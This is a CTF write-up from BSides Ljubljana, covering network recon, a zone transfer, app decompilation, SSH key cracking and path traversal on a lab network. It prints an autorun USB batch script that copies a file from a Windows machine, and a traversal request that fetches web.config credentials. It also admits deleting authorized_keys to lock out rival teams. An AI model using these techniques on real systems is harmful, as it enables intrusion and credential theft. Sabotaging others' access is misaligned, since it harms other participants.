This year we attended BSides Ljubljana for the first time. We attended, because security conferences in our area are rare, and because it sounded interesting. Besides an awesome atmosphere there was also a nice CTF. So we more or less spontaneously sat down on a cozy sofa, grabbed our computers, and played our first on-site CTF ever. And we won! \o/
BSides Ljubljana CTF was not like a typical jeopardy CTF, which was new to us and kind of refreshing. It felt more like a penetration test. The Tasks were split in two categories: Jeopardy and Hacking.
There were 5 Jeopardy Tasks and 19 Hacking Tasks. The jeopardy tasks were pretty clear and similar to other CTFs. For the Hacking tasks we were given a network range and tasked to find the flags. The flags were scattered all over the services that were running in the target network. For the hacking tasks the flag format was
N being the challenge number.
It was kind of fun although we missed a lot of flags, which we just overlooked. In the middle of the game we revisited all the services to search for flags again. This revealed quite a lot of the flags, which weren’t worth so many points.
In the end we managed to solve all 5 Jeopardy Tasks and 11 of out 19 Hacking Tasks, scoring 2060 points; beating teams scannet (1310 points) and b33rm0nster (1060 points).
We don’t remember all the tasks, and the website is not showing the task descriptions anymore, so the following writeup is very probably incomplete.
The second task gave us a bitmap image. We were able to retrieve the flag using the most basic forensics tool available:
% strings 160221_message.bmp BM6S www.fars.si
Extract flag file from Windows XP machine with only USB stick
There was a physical machine in one of the conference rooms running Windows XP, with a flag.txt one the desktop. We were only allowed to plug in a usb drive and then plug it out again. So we did a quick search and apparently unpatched Windows XP versions run autorun stuff automatically from USB drives (just like CDs back in the early days). So we created a usb drive with the following
[AutoRun] UseAutoPlay=1 open=pwn.bat
Of course we didn’t have a Windows XP VM ready, so it was kind of hard to test. We needed several attempts, for which one of us had to get up and walk to the computer, plug it in and watch it fail. Too bad we don’t know how-to-windows … In the end we still don’t know which one of the copy commands was the right one, but we got the flag using the following script, so whatever. ¯_(ツ)_/¯
@echo off echo hmmm copy "%HOMEPATH%\Desktop\flag.txt" copy "%HOMEPATH%\Desktop\flag.txt" . copy "%HOMEPATH%\Desktop\flag.txt" "%CD%" copy "%HOMEPATH%\Desktop\flag.txt" D:\ copy "C:\Documents and Settings\Administrator\Desktop\flag.txt" D:\ copy "C:\Documents and Settings\CTF\Desktop\flag.txt" D:\ echo "#### CWD" >>listing.log echo %CD% >>listing.log dir >>listing.log echo "#### home/desktop" >> listing.log cd "%HOMEPATH%" dir >>D:\listing.log echo "#### desktop" >> D:\listing.log cd Desktop dir >>D:\listing.log echo "#### users" >> D:\listing.log cd .. dir >>D:\listing.log
Simple XOR Cipher
We were given a “pseudo code” description of a simple cipher and the task was to submit the ciphertext. Below is our solution:
""" key is "iamsobroken" cipher is hex string while char at message; do temp is hex char XOR hex key at index of char MOD key length append temp to cipher done """ key = "iamsobroken" message = "I have a bad feeling about Asterix" cipher =  for i, m in enumerate(message): m = ord(m) k = ord(key[(i) % len(key)]) t = m ^ k cipher.append(t) #print "".join(chr(c) for c in cipher) print "".join(hex(c)[2:].zfill(2) for c in cipher)
Retrieve contents of the floppy disk badge
The conference badge handed out to all conference participants a floppy disk. And since one of the Jeopardy challenges mentioned a floppy, we knew what to do … but of course, we traveled to Ljubljana without a floppy drive.
We then first tried to use the old Windows XP computer to get the contents of the floppy, but the build-in reader was not connected. But one of the organizers at the front-desk had a USB floppy drive, so we nicely asked to borrow it. That way we retrieved the
FLAG.txt file from the floppy and a file called
faq-root, which will become important later.
The hacking part of the competition began with very little information. Only the following information was provided to us:
Your target is behind 192.168.66.0/24. Maybe your starting point should be 192.168.66.6.
The network setup
A quick nmap revealed the following hosts in the network. For your convenience, we annotated the output with our later findings.
Nmap scan report for 192.168.66.1 Host is up (0.0054s latency). Not shown: 999 filtered ports PORT STATE SERVICE 53/tcp open domain Nmap scan report for 192.168.66.5 Host is up (0.0047s latency). Not shown: 997 filtered ports PORT STATE SERVICE 443/tcp open https -- ctf#16 remote login 3389/tcp open ms-wbt-server 4444/tcp open krb524 Nmap scan report for 192.168.66.6 Host is up (0.0073s latency). Not shown: 998 filtered ports PORT STATE SERVICE 80/tcp open http -- starting point: qr code #13, android app, also validateqr 4444/tcp open krb524 Nmap scan report for 192.168.66.7 Host is up (0.0075s latency). Not shown: 997 filtered ports PORT STATE SERVICE 22/tcp open ssh -- login via faq-root key --> #5 in mysql db 80/tcp open http -- FAQ service 4444/tcp open krb524 Nmap scan report for 192.168.66.8 Host is up (0.0075s latency). Not shown: 998 filtered ports PORT STATE SERVICE 80/tcp open http -- posbox --> posbox .net app, 404 page 4444/tcp open krb524 Nmap scan report for 192.168.66.15 Host is up (0.0039s latency). Not shown: 998 filtered ports PORT STATE SERVICE VERSION 53/tcp open domain ISC BIND 1.0
We were not able to find all the hostnames at the beginning (which was necessary for accessing services using vhosts), because the network used a custom DNS resolver. As soon as we found their DNS resolver (at
192.168.66.15), we could get all the hostnames of the machines by using reverse lookups or doing a DNS zone transfer.
$ dig @192.168.66.15 fars.si AXFR ; <<>> DiG 9.10.3-P3-RedHat-9.10.3-10.P3.fc23 <<>> @192.168.66.15 fars.si AXFR ; (1 server found) ;; global options: +cmd fars.si. 604800 IN SOA ns1.fars.si. admin.fars.si. 4 604800 86400 2419200 604800 fars.si. 604800 IN NS ns1.fars.si. faq.fars.si. 604800 IN A 192.168.66.7 ns1.fars.si. 604800 IN A 192.168.66.15 posbox.fars.si. 604800 IN A 192.168.66.8 remote.fars.si. 604800 IN A 192.168.66.5 reverselookupeverything.fars.si. 604800 IN A 192.168.66.251 www.fars.si. 604800 IN A 192.168.66.6 fars.si. 604800 IN SOA ns1.fars.si. admin.fars.si. 4 604800 86400 2419200 604800 ;; Query time: 3 msec ;; SERVER: 192.168.66.15#53(192.168.66.15) ;; WHEN: Wed Mar 09 14:36:40 CET 2016 ;; XFR size: 9 records (messages 1, bytes 263)
We set up our host files to contain the hostnames:
192.168.66.5 remote.fars.si 192.168.66.6 validateqr.fars.si 192.168.66.7 faq.fars.si 192.168.66.8 posbox.fars.si 192.168.66.15 ns1.fars.si
Welcome page at 192.168.66.6
192.168.66.6 (the only IP provided to us on the competition page) gave us a welcome page with a link to a file called
app.apk. It also contained a link to the FAQ system on
Reading the QR code
qr.txt was a text file that contained a QR code that was converted to ascii
art. Using a 1px font size in gedit yielded the following picture, which we were not able to scan yet:
We took a screenshot and did some post processing in gimp to make the contrast higher. This was good enough to be scanned:
Decompiling the Android app
The welcome page also provided an Android app in form of an
app.apk. We were able to decompile it using the Jadx decompiler for Android. After browsing the code and especially looking at the login routines we discovered a flag:
$ pss -i "this.flag" ./com/prosoft/posbox/business/api/service/helpers/NetworkRequestParams.java 22: this.flag = "Q1RGIzE3OiBIb3cgbWFueSBmbGFncyBkaWQgeW91IG1pc3M/"; 36: this.flag = "Q1RGIzE3OiBIb3cgbWFueSBmbGFncyBkaWQgeW91IG1pc3M/"; $ echo "Q1RGIzE3OiBIb3cgbWFueSBmbGFncyBkaWQgeW91IG1pc3M/" | base64 -d CTF#17: How many flags did you miss?
(So probably we missed at least one other flag here …)
After the organizers provided a hint on the competition page to look at SNMP (Simple Network Management Protocol) we used snmpcheck to query all hosts. (We later learned that there are Metasploit modules available which help you doing that.) One host was configured in a way that allowed us to read a lot of information via SNMP. After trying to pwn the misconfigured host using the extracted information, we reviewed the snmpcheck output and finally found a flag in one of the properties …
Root on FAQ system
The floppy used in an earlier task also contained a file called
faq-root, which contained an ssh private key. Unfortunately the key was password protected. From the name of the file, it was pretty clear that this was the way to login at 192.168.66.7 (the phpMyFAQ system) as root. Sometime in the middle of the CTF the following hint was released:
HINT: Try to link the contest of your floppy and the Morse code on it!
Even before the CTF started, we noticed that there was a morse code on the floppy badge, which we immediately decoded:
-... ... .. -.. . ... .-.. .--- ..- -... .-.. .--- .- -. .- ----- -..- --... . ----- BSIDESLJUBLJANA0X7E0
And it was actually the password for the the ssh key.
ssh -i ./root-faq firstname.lastname@example.org # cat FLAG CTF#6:DON'T WASTE YOUR TIME HERE ANYMORE! actual submission: DONTWASTEYOURTIMEHEREANYMORE
Now we did something pretty nasty on the system. We removed the original
authorized_keys file to delay other teams. Of course this was noticed at some point, and the organizers restored the VM snapshot, allowing other teams to connect.
There was also a file with the mysql root password on the host (of course we could’ve also changed that one).
$ cat mysql SET PASSWORD FOR 'root'@'localhost' = PASSWORD('mysql.pass');
So we explored and dumped the database using mysqldump. We then grepped for flags in the sql dump, which revealed another flag.
cat dump.sql | grep -i ctf INSERT INTO `faqfaqnews` VALUES (1,'sl','Novica','<p>Fars sistem razpadel</p>\r\n<p> </p>\r\n<p> </p>\r\n<p>CTF#5 Backend</p>','20160229215345','Admin','email@example.com','n','n','00000000000000','99991231235959','http://www.fars.si','','');
We don’t know if this flag was supposed to be retrieved via the FAQ web service.
The .net Posbox app
The Android app given on the welcome page did not only contain the already mentioned flag, but also an API endpoint at
D/UserManagementService( 4543): handleActionLogin W/System.err( 4543): java.net.UnknownHostException: Unable to resolve host "posbox.fars.si": No address associated with hostname
After modifying our hostfile in the way described above, we were able to access the Posbox webpage. It was in Slovenian, but we were able to navigate the page. The login on the site was secured by a captcha and did not contain any obvious vulnerabilities. After looking at the site again, we were able to find another client for the service.
The download link for the app installer was:
So after an Android app, this time they provided a C# app. The provided
setup.exe only contained some kind of downloader, so we had to look into the binary to find the link to the actual binary. After downloading it, we again used a decompiler to decompile the app, and then looked at the code.
Somewhere in the middle of the code there was the following line, which we then used to login to the Posbox web interface.
if (this.Username == "firstname.lastname@example.org" && this.Password == "SuperSecurePassword")
Retrieving the web.config
After desperately looking for more flags, we got a hint from one of the organizers to look at Posbox again. We tried to get
/etc/passwd on the Posbox host using path traversal on the
file= http parameter, but then the organizer reminded us the host was windows running IIS and we should try
http://posbox.fars.si/home?file=web.config actually worked.
The file contained database credentials, which are also a flag. We haven’t used the credentials for anything else, since the database wasn’t available over the network.
<configuration> <system.webServer> <handlers> <add name="httpplatformhandler" path="*" verb="*" modules="httpPlatformHandler" resourceType="Unspecified" /> </handlers> <httpPlatform processPath="..\approot\web.cmd" arguments="" stdoutLogEnabled="false" stdoutLogFile="..\logs\stdout.log" startupTimeLimit="3600"></httpPlatform> </system.webServer> <connectionStrings> <add name="CTF#9" connectionString="server=localhost;database=myDb;uid=myUser;password=HereWeAreHereWeGo;" /> <!-- CTF9: HereWeAreHereWeGo--> </connectionStrings> <system.serviceModel> <bindings> <basicHttpBinding> <binding name="BasicHttpBinding_IQRValidator" /> </basicHttpBinding> </bindings> <client> <endpoint address="http://validateqr.fars.si/QRValidator.svc" binding="basicHttpBinding" bindingConfiguration="BasicHttpBinding_IQRValidator" contract="ServiceReference1.IQRValidator" name="BasicHttpBinding_IQRValidator" /> </client> </system.serviceModel> </configuration>
But we can see the validateqr endpoint as hint for the next challenge.
Flags in the webservices
Some easier flags we found on the way by looking closely at everything (and then looking again):
- The FAQ system set a Cookie that contained a flag.
- The welcome page sent a custom HTTP header containing a flag.
- If you were logged in, the HTML source of the 404 page of
posbox.fars.sicontained a flag.
192.168.66.5with the hostname
remote.fars.siover https revealed another flag.
Pretty late in the CTF the following hint was released:
There you could retrieve an IIS log file and also the
<!DOCTYPE html> <html> <head> </head> <body> <div style="display: none;">INKEMIZRGA5CAQTBONSUK3TDN5SGKZCCNFTUI4TBM5XW44Y=</div> </body> </html>
This time the flag was base32 encoded:
>>> base64.b32decode("INKEMIZRGA5CAQTBONSUK3TDN5SGKZCCNFTUI4TBM5XW44Y=") 'CTF#10: BaseEncodedBigDragons'
We found this flag a little too late, shortly after the CTF ended (which we didn’t realize for a few minutes).
http://validateqr.fars.si/QRValidator.svc was running on
which we found by trial and error. We could retrieve the WSDL file but didn’t
manage to actually do something remotely useful with the web service.
Apparently we should’ve used xml external entities to retrieve further credentials.
We only later learned the ofllowing:
.svc, a file extension used by Microsoft's Windows Communication Foundation to represent a service hosted by Internet Information Services
And then we ran out of time …
So Long, and Thanks for All the Fish